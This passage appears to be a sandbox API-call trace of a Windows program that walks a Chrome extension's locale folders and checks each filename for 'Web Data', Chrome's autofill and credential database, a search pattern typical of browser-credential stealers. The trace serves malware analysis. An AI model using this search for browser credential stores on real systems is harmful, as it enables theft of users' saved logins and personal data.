IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0054.425] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.425] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.425] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="bg" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg" [0054.425] LocalFree (hMem=0x74cf00) returned 0x0 [0054.425] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg" [0054.425] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\*.*" [0054.425] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.425] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.425] LocalFree (hMem=0x74cf00) returned 0x0 [0054.425] LocalFree (hMem=0x74d010) returned 0x0 [0054.425] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0054.425] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.425] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.425] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="ca" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca" [0054.425] LocalFree (hMem=0x74cf00) returned 0x0 [0054.425] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca" [0054.425] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\*.*" [0054.425] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.426] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.426] LocalFree (hMem=0x74cf00) returned 0x0 [0054.426] LocalFree (hMem=0x74d010) returned 0x0 [0054.426] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0054.426] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.426] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.426] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="cs" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs" [0054.426] LocalFree (hMem=0x74cf00) returned 0x0 [0054.426] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs" [0054.426] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\*.*" [0054.426] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.426] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.426] LocalFree (hMem=0x74cf00) returned 0x0 [0054.426] LocalFree (hMem=0x74d010) returned 0x0 [0054.426] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0054.426] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.426] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.426] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="da" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da" [0054.426] LocalFree (hMem=0x74cf00) returned 0x0 [0054.426] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da" [0054.426] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\*.*" [0054.426] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.427] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.427] LocalFree (hMem=0x74cf00) returned 0x0 [0054.427] LocalFree (hMem=0x74d010) returned 0x0 [0054.427] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0054.427] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.427] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.427] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="de" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de" [0054.427] LocalFree (hMem=0x74cf00) returned 0x0 [0054.427] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de" [0054.427] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\*.*" [0054.427] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.427] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.427] LocalFree (hMem=0x74cf00) returned 0x0 [0054.427] LocalFree (hMem=0x74d010) returned 0x0 [0054.427] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0054.427] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.427] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.427] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="el" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el" [0054.427] LocalFree (hMem=0x74cf00) returned 0x0 [0054.428] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el" [0054.428] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\*.*" [0054.428] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.428] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.428] LocalFree (hMem=0x74cf00) returned 0x0 [0054.428] LocalFree (hMem=0x74d010) returned 0x0 [0054.428] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0054.428] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.428] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.428] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="en_GB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB" [0054.428] LocalFree (hMem=0x74cf00) returned 0x0 [0054.428] lstrcpyA (in: lpString1=0x75e920, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB" [0054.428] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\*.*" [0054.428] 